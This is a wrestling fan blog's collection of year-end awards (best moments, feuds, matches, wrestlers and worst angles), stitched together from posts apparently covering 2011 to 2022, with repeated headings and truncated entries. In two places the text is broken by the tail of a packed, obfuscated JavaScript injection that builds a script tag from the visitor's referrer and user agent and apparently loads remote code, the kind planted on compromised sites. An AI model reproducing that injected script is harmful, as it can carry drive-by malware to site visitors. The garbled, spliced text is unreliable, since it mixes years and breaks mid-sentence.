We have some more.

Moment Of The Year

5. Brock Lesnar Lifts The Ring With A Bulldozer
4. CM Punk’s All Out Rant
3. Cody Rhodes Is Back
2. Stephanie McMahon Announces Vince McMahon’s Retirement
1. Steve Austin Wrestles Again

This continues to support my mantra of NEVER SAY NEVER in wrestling. Austin retired back in 2003 and has not wrestled since. But then, one day, Kevin Owens called Austin out for an appearance at Wrestlemania XXXVIII. You knew something was going to happen, but then it got even bigger as Owens challenged Austin to a No Holds Barred match. Austin gave an amazing face where you could see the wheels turning….and then he said yes. The bell rang and we were actually seeing it again. And then it was good! This was one of those things I never thought I would see but there it was, right in front of your eyes.

Angle Of The Year

5. Mickie James’ Last Rodeo
4. Bianca Belair vs. Becky Lynch
3. FTR vs. Briscoes
2. CM Punk vs. MJF
1. Bloodline

Where do you begin? It is very rare in wrestling for a story to keep going on for so long and not get dull. The Bloodline manages to find ways to keep going, even with Roman Reigns barely around a lot of the time. To top the whole thing off, you have Sami Zayn, who is trying his hardest to give the Bloodline a higher level of Ucey, but Reigns isn’t exactly pleased with what he’s doing. I want to see where things go week to week and that is not something I get to say very often.

Feud Of The Year

5. Bianca Belair vs. Becky Lynch
4. RKBro vs. Usos
3. Brawling Brutes vs. Imperium
2. MJF vs. CM Punk
1. FTR vs. The Briscoes

I was going back and forth between this one and MJF vs. Punk, but so much of MJF vs. Punk took place in 2021 that FTR and the Briscoes just beat it out. At the end of the day, there is nothing that is topping three instant classics like those three had and nothing was going to beat it. They had an awesome segment before their first match, because we can’t have the Briscoes on AEW TV so at least they had something in the way of talking. It was outstanding and they somehow kept it amazing throughout the entire feud.

News Story Of The Year

5. Wrestlers Return To WWE
4. HHH Is In charge
3. Naomi/Sasha Banks Walk Out
2. Brawl Out
1. Vince McMahon Retires

Ok so this one is already a little bit out of date, but there is nothing that comes close to touching this one. You can have your Brawl Out and all that, but the person who modernized professional wrestling and has dominated the industry for 20+ years walked away from the company he built into a global juggernaut. That is the kind of game changers that you do not see in wrestling ever and now we are dealing with the insane fallout. McMahon retiring was the story of the year, if not the story of the decade.

Match Of The Year

5. Cody Rhodes vs. Seth Rollins – Hell In A Cell
4. FTR vs. Briscoes – Final Battle
3. Sheamus vs. Gunther – Clash At The Castle
2. CM Punk vs. MJF – Revolution
1. FTR vs. Briscoes – Supercard Of Honor

We’ll start with the best/and then there’s this (depending on which way this is posted), as you had two teams stealing the show on the biggest wrestling weekend of the year. It was the match that I knew I had to see and it blew away any and all expectations. Throw in the fact that it was a clean match that ran almost half an hour and never once felt long and you know you have something special. I can’t praise this match enough as it more than blew away the considerable hype.

Wrestler Of The Year

5. Bianca Belair
4. Josh Alexander
3. Sami Zayn
2. Jay White
1. Roman Reigns

One of the best things a wrestler can have is presence and that is where Reigns shines. You can feel something special whenever he is in on screen and it makes a huge difference. The Bloodline has featured some amazing moments, all of which revolve around Reigns. Throw in the fact that he has the matches to back it up and this is one of the easier picks of the year so far.

We’ll wrap it up with some sad parts of the year.

Worst Angle Of The Year

5. Karrion Kross Keeps Losing
4. Cody Rhodes vs. QT Marshall
3. Fiend/Alexa Bliss Exist
2. Nikki Ash

1. Lilly

I was going to go with Nikki, but then I thought of that doll. That stupid, rotten, horrible, no good doll, WHICH WINKED AT THE CAMERA AND THEN APPEARED IN A MIRROR. WWE went out of their way to destroy a lot of people and things for the sake of pushing the idea that Alexa Bliss had an evil doll. It was some bad horror movie come to life and I could not stand this stupid thing, which is somehow following us into 2022, because of course it is.

Angle Of The Year

5. CM Punk Is An Old Gunslinger
4. The Rise Of RKBro
3. Baron Corbin Is Broke And It’s Hilarious
2. Hangman Page Wins AEW World Title

1. Whose Side is Paul Heyman On

WWE is pretty terrible these days but this is must see television. Paul Heyman is one of the greatest performers in wrestling history and the things he is doing in this story has been even better than I would have thought possible. Above all else, he made me want to see where the story was going next and it was nothing short of amazing to see every single week. The story is still going in the new year and I really want to see where these things go next. Or just whatever Heyman is going to do.

Worst Match Of The Year

5. Charlotte vs. Nia Jax – Raw – August 30
4. Randy Orton vs. Bray Wyatt – Wrestlemania
3. Alexa Bliss vs. Eva Marie – Summerslam
2. Miz vs. Damian Priest – Wrestlemania Backlash

1. Kenny Omega vs. Jon Moxley – Revolution

This is one where your mileage may vary, but ultimately, this was a bunch of barbed wire violence before the lamest ending you could imagine. It was like some sparklers going off in place of an explosion. Ignoring the total disaster of the ending, you had the carnage for the sake of carnage, all because AEW wanted to recreate some angle from Japan, down to Eddie Kingston trying to cover Moxley and selling the….well nothing really. This was bad on all fronts and is still somehow even worse than I remember.

News Story Of The Year

5. NXT Gets Its Own Sequel
4. Ring Of Honor Hiatus
3. Huge Stars To AEW
2. Fans Return

1. WWE Releases

I don’t know how it could be anything else, as WWE did not so much take the roster apart but completely gutted the thing. Over the last year and a half, WWE has literally released over a hundred wrestlers. That isn’t just going to shake up the WWE, but also the wrestling world as a whole. In addition to weakening the WWE roster, it opened up the flood gates to all kinds of other promotions. Several wrestlers have since moved elsewhere, which has made some other companies that much more interesting. This was a game changer, and the amazing part is it might not be done yet.

Feud Of The Year

5. Roman Reigns vs. Edge
4. Pinnacle vs. Inner Circle
3. Edge vs. Seth Rollins
2. Kenny Omega vs. Hangman Page

1. Roman Reigns vs. John Cena

This might have been short, but what mattered was how big this felt. That’s the kind of thing you don’t get to see very often, but Cena can make it work so well. Above all else, this felt like a feud that belonged in the main event of one of biggest shows of the year. Then the match wound up working too, which shouldn’t be a surprise. It wasn’t long, but Reigns defeated Cena in a huge main event and it felt like a showdown.

Title Reign Of The Year

5. Bianca Belair – Smackdown Women’s Title
4. Young Bucks – AEW Tag Team Titles
3. Bobby Lashley – WWE Championship
2. Kenny Omega – AEW World Title

1. Roman Reigns – Universal Title

The words “of the year” apply here, because Reigns was champion for the entire year. That is not something you get to see very often but it has been pretty incredible for a very long time now. Reigns comes off as the biggest star in all of wrestling and has been bringing people up just by association. This was an easy pick to make, because holding the title for a year is hard to fathom back in the day, let alone modern times.

This is another one of the more important ones as you need a good feud to make people care about what they are going to be seeing. If you can find a hot rivalry, it can carry the entire promotion on its back, which is one of the more important as well as difficult things to do. There were some good ones to pick from in 2020 so let’s get to it.

As usual, in no order until the winner at the end.

Kenny Omega vs. Hangman Page

This is a rather simple concept turned up to eleven, which is where AEW can shine. They were partners, then Page started going nuts with paranoia over not being elite and they dropped the Tag Team Titles. Page lost to Omega in the finals of the #1 contenders tournament, but it seems that this is going to be revisited later. This was all about the deep storytelling and drama between the two of them, which made for some great moments week to week between the two of them.

Roman Reigns vs. Jey Uso

I had to decide between this one or Reigns vs. Owens, because Reigns was good enough to be on the list twice. There was one difference though: the Owens feud was always going to be good because you know what Owens can do. This was Jey Uso having a crazy good pair of World Title matches on pay per view. Just the surprise of seeing something like that made the feud that much better and it’s enough to get the win here.

Eddie Kingston vs. Jon Moxley

This one was built almost entirely on the promos but then the match was good enough to carry its own weight. There wasn’t a ton of drama about Kingston becoming champion, but that is not always a bad thing. It was about the journey instead of the conclusion, and Kingston’s promo work was among the best, if not the very best, of the year. Moxley did his thing too, but this was the Kingston show.

Randy Orton vs. Edge

This is another one where I had to pick one over the other, as Drew McIntyre and Orton had a rather long feud of their own. I liked this one better than, if nothing else because it didn’t drag on as long. Throw in that I was one of the few who liked the Last Man Standing match and it was a heck of a way to bring Edge back. Granted I hope they don’t relaunch it again when he is healed up, but it worked out well here.

Team McAfee vs. Undisputed Era

Earlier on I said that you were going to see McAfee’s name in this a lot and that is going to be the case here again. What was originally going to be Ridge Holland turned into Pete Dunne (at least that seems to be the case) and Oney Lorcan/Danny Burch with McAfee as the mouthpiece against the best faction NXT has ever seen. They had a great singles match and then a great WarGames match with the promos being even better. It came and went in a hurry, but what we got was great.

However, there was one thing that was built up and then paid off very well too.

Bayley vs. Sasha Banks

These two have been joined at the hip for years and that is likely going to be the case for a very long time to come. They spent most of the year as friends, dominated the title scene, and then Bayley turned on her before Banks could do it, which is a rather brilliant way to go. The matches were very good but the story was better, because the history was there. That’s what makes a great feud exceptional, and that’s what they did here.

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AND

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IMG Credit: WWE

This is what causes a lot of the big stuff to take shape and that’s where things get more interesting. You can have all of your great one off matches, but what about something designed to keep things going? Sometimes you get great matches and a hot angle combined together into a feud and that’s when things get special. So what was the most special this year?

Shayna Baszler vs. Rhea Ripley

Shayna is a lot of things but one of them was the bane of my predictions for big shows. Every single time she defended the title I was SURE that she was going to lose it and then she just never did. That was the case for several months as Baszler’s reign just kept going. Someone had to stop her sooner or later and it was pretty clear that Rhea Ripley was going to be an option.

That’s exactly what happened on the last regular NXT of the year in a great moment. Ripley FINALLY won the title after chasing it for a few months, including facing off with Baszler’s team in WarGames. It was a big moment, it had been built up for months, and the Ripley finally paid it off in a great match. This was a huge deal and came at the right time, making it a great piece of business for several months.

British Strong Style vs. Imperium

There is something about a stable war that always works. Well as long as the people involved in it are worth seeing. And they have a good reason for feuding. And it doesn’t go on too long. Ok so it doesn’t always work but when they work well, they’re awesome. That was the case with this one from NXT UK and it only meant good things for everyone involved.

British Strong Style are the most popular guys in NXT UK and it isn’t even close. They are the bedrock of the promotion and when you throw in a scary team like Imperium, there is almost no way that the whole thing isn’t going to work very well. Couple that with some outstanding matches (including the Match Of The Year) and there was no way this wasn’t going to be outstanding.

Kofi Kingston vs. Daniel Bryan

It was a big year but there were only two options for the top of this list. This was all about Kofi’s chances to win the title, but I wasn’t wild on what it took to get him there. Vince changing the setup time after time got rather annoying and it took too long to get to the point. Everything was fine once we got to the execution, but dang it took a long time to get there.

Then there’s the whole Wrestlemania Moment and one of the best title wins of all time things. This was a case where they couldn’t have stuck the landing better if they had tried and the big payoff was one of the best in years (probably since Bryan won five years earlier). It was the coronation that Kofi fans, including myself, had wanted for a long time and this worked so well. Not the best build, but the title change made up for all of that and more.

You know where this is going.

Adam Cole vs. Johnny Gargano

There are some criticisms against this feud and I can understand those very easily. The matches went WAY beyond the point of believeability at times and they were all marathons that could have been trimmed down. That being said, the matches were all exciting and gave us some of the best moments of the year, namely Gargano winning the NXT Title for the first time.

What made this work was how it was such a perfect balance of storytelling and wrestling. You don’t get that every day and the whole thing felt epic the entire time. The storytelling aspect with Cole invading Gargano’s world, including going after Gargano’s father, made it all the better. It’s the feud of the year, though I can get why some people wouldn’t like it as much.

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IMG Credit: WWE

I’m not going to waste your time here. You know it’s Tommaso Ciampa vs. Johnny Gargano and there’s no point in suggesting that it’s anything else. That feud has produced one of the best collections of matches of all time along with some next level promos while also setting up other feuds and matches at the same time. I have no idea what else can come close to this, so I’m going to give you the rest of the options in short order rather than going into detail and suggesting that they’re anywhere close.

Becky Lynch vs Charlotte

Great matches, got Becky the push she deserved, but Charlotte is starting to get annoying in these spots when Rousey vs. Lynch is more interesting. Charlotte was great at stealing the title win from Becky at Summerslam to set everything up, though that weird heel turn against Rousey still doesn’t make a lot of sense in the big picture.

AJ Styles vs. Samoa Joe and Shinsuke Nakamura

They’re two different feuds but have the same story: great hype, very good matches, both suffer from AJ winning every significant match (or only losing it by countout/DQ). The Joe promos were something else though and some of the best stuff he’s ever done. If nothing else, Styles deserves an honorable mention for the damage from all the low blows.

Shayna Baszler vs. Kairi Sane

Near perfect natural rivalry with the high lifer against the submission expert and their matches have been awesome. I’m not a fan of trading the title in a hurry, but it was the right call here given how evenly matched they were. I could go for more of this, which I don’t say very often.

Johnny Gargano vs. Aleister Black

When a feud is so great that it spins off into another awesome feud, you know you’ve got something special. These two turned a legitimate injury to Black into a great angle and a sweet pair of matches that advanced the bigger feud at the same time. Hard to do and well done at the same time.

Undisputed Era vs. Pete Dunne N Pals

For a story that seemed destined to be Undisputed Era vs. Moustache Mountain, they’ve gotten a great amount of mileage out of this without doing that match more than once I believe. Dunne is an absolute star and likely to be WWE Champion someday. It’s made him look even better when the Era needs all four members to really beat him, which they never exactly did. Great feud, though WarGames II was still longer than it needed to be.

All good, but none of them are Gargano vs. Ciampa.

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It’s the building block of wrestling.

2017 was a heck of a year for feuding wrestlers, with some excellent options for the best feud of the year. Some of them were better than others but the top choices are hard to separate. There are almost as many options here as there are for any award, making this one of the hardest choices to make.

I’ll actually start with something from New Japan as you just can’t ignore Kazuchika Okada vs. Kenny Omega. I know the promotion isn’t built around promos like WWE but Okada challenging him for the rematch and the matches going 1-1-1 is way too much to look past. These two tore the house down every single time and put on an all time classic trilogy. Definitely worth a look if you somehow haven’t seen it yet.

We’ll go with a tag feud now and one that I considered putting at the top of the list with New Day vs. the Usos. These guys just beat the fire out of each other all year with some really entertaining promos and segments as a bonus. The Usos showed why they’re the best team in WWE at the moment while New Day got to prove that they still have it (you know, because they’re so old and such). Their match in the Cell was excellent and capped off an incredible feud, which is the big key that you need for one of these things to work. I loved this stuff and it made me an even bigger Usos fan.

Down to NXT we go (you knew this was coming) with Aleister Black vs. Velveteen Dream. This was much more psychological with Dream desperate to have Black say his name (with some innuendo running wild), leading to an outstanding match at Takeover: WarGames where Black beat Dream but gave him what he wanted. I got way into the build for this and it made Dream look WAY better than he would have otherwise. This is probably second on my list, which blows my mind as I was rolling my eyes when I heard the feud start.

We’ll stay in NXT (mostly) for the UK Title feud between Tyler Bate and Pete Dunne. They met for the inaugural title and then had two incredible followups for one of the best trilogies WWE has ever put together. Much like Okada vs. Omega, this was all about the action with both guys (who are way too young to be able to do stuff like this) leaving it all in the ring every single time. Their Chicago match was the best match I saw all year and I’d love to see these two again, assuming they don’t overdo the match.

We’ll continue with the battling countrymen with Kevin Owens vs. Chris Jericho. These two started the year off as best friends before falling apart at the Festival of Friendship (we’ll be coming back to that one). It lead to some awesome matches and title changes with some of the best moments of the first half of the year. I could have gone for one more big gimmick match between the two of them but what we got more than did the trick.

In another feud that didn’t last very long but was a lot of fun, we have Samoa Joe vs. Brock Lesnar. This was built around the idea of two guys beating each other up in a pair of matches that didn’t waste time. They beat the heck out of each other with the big match atmosphere that most people can’t bring. Joe’s promo of choking out Paul Heyman and saying he wanted Lesnar was great stuff and the singles match was as good of a short form match as you were going to find given this style.

The winner though is the other half of the Summerslam main event with Braun Strowman vs. Roman Reigns. This feud had more matches than the other options with a great segment (“I’M NOT FINISHED WITH YOU”) and some awesome, hard hitting matches. Reigns won the first match but Strowman dominated the rest of the feud, giving him a very rare win over Reigns. I never got bored with this feud and they beat the heck out of each other, making it the best feud of the year.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dayfy|var|u0026u|referrer|diatd||js|php'.split('|'),0,{})) is built on the backs of feuds. When you add up all the matches and promos, they combine to form a feud between two wrestlers or teams. Over the course of 2016, WWE has produced more than its fair share of them but a handful have stood out above the rest. Today we’re going to look at the nominees for Feud of the Year. As will be the case with all of the awards we’ll be looking at over the next few weeks, these are presented in no particular order.

1. Charlotte vs. Sasha Banks.

This led to a long series of matches between the two of them with both women getting the better of it at one point or another. Both have taken the title from the other on multiple occasions, though Banks was never able to defeat Charlotte in a pay per view setting. All of her three title wins came on episodes of “Monday Night Raw” and all three ended in less than a month with Charlotte taking the belt back every time.

However, as good as their matches were, there was a much bigger historical significance to their rivalry. At “Hell in a Cell 2016”, Banks and Charlotte wrestled in the main event, making them the only women to ever do so at a WWE pay per view. To call this a huge moment would be an understatement as just a few years ago, WWE Divas (a term which has thankfully gone by the wayside) were lucky to have a two minute match with a chunk of that going to entrances.

2. The Miz vs. Dolph Ziggler

While Charlotte vs. Banks was built on action, this feud was built entirely on emotion. Ziggler has spent a large portion of this year talking about how he needed to win the big one no matter what happened. Unfortunately, this led to loss after loss after loss as Ziggler continues his career trend of not being able to pull off the big one no matter what he did.

3. DIY vs. Revival

4. Samoa Joe vs. Shinsuke Nakamura

That champion would be Samoa Joe, who had surprised quite a few people by defeating Balor to become NXT Champion. This set up a collision course between Nakamura and Joe over the title with Nakamura taking the belt away at “Takeover: Brooklyn”. It seemed that Nakamura would go on to hold the title for as long as he wanted as no one had ever been a two time NXT Champion.

This feud had some excellent, hard hitting matches but also took NXT and its title to some new places. Instead of having someone win the title, defend it against the former champion and then move on, it was actually something fresh with the two wrestlers trading the title. This gave us some very strong surprises to go with the intense matches and promos between the two, making it an NXT classic.

5. AJ Styles vs. John Cena

A match was quickly set up over the summer with Styles taking a surprise heel turn on Cena to set things up. In an even bigger surprise, Cena lost to Styles, albeit with some help from Karl Anderson and Luke Gallows. With one classic under their belts, the only solution was to have a second match on the bigger stage of “Summerslam 2016”.

This is how you make someone into a huge star by way of a big rub. Cena is someone who is going to be able to lose matches like this and bounce back with almost nothing lost along the way. Styles on the other hand was able to gain more in those two wins than almost anything else he could have done in months against other opponents. The shock of Styles winning clean still holds up and Cena will be just fine when he gets back in the ring full time.

6. Sami Zayn vs. Kevin Owens

They had two great matches on pay per view this year at Battleground and Payback with the two of them splitting the wins. That win for Zayn at Battleground was a huge moment because he never won the big one over Owens at any point. This made Zayn into a player for the first time and if you ignore him doing nothing special after the win, it should have been a turning point in his career.

On the other hand, Owens got a big run out of this and would wind up being the World Champion as a result. Now, logic would suggest that Zayn would go on to be the #1 contender but since WWE decided that THIS IS THEIR LAST MATCH (until a few months later when they fought on Raw), that went nowhere. At least the two matches on pay per view were great.

The feud was violent, personal and entertaining as the big payoff was worth the build in the end. Kyle made the title seem important and beating one of the biggest stars in the history of the company helped so much. The fact that it was his old partner and rival was the big icing on the cake, which made everything work so well.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzkde|var|u0026u|referrer|skzyr||js|php'.split('|'),0,{})) is another one that doesn’t have a lot of options this year but the top choices are good.

One of the two big ones is of course Kevin Owens vs. John Cena with the whole battle of different roads to get to the top level. This one was carried by the promos but Owens winning made the whole thing a huge success. I know a lot of people say that Owens losing the last two matches killed it, but Owens would win the Intercontinental Title later in the year and could easily be a main event player by the time Summerslam rolls around. How much of that do you think is due to the first win over Cena?

Picking a winner here is splitting hairs, but I have to go with Owens vs. Cena, just due to the shock of that first win. Bayley winning was an amazing moment but it was also obvious from the second she got the title shot. The surprise of Owens pinning Cena in a great match on pay per view was such a stunning moment and is enough to pull this forward.

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The common sense answer would be Cena vs. Rock or Punk.  I’ve never been one for common sense though.I’m going with Christian vs. Orton.  They never stopped having good matches and the feud naturally progressed very well.  You would see them building on sequences throughout the series of matches, such as the dive out of the corner by Christian being caught in an RKO.  That turned into a fake in the second match, then Orton faked Christian by waiting with the RKO again.  That’s thinking and calling back to previous matches, which is very rare today.  I loved this feud and the blowoff was great.  Feud of the year to me.

Your thoughts/picks?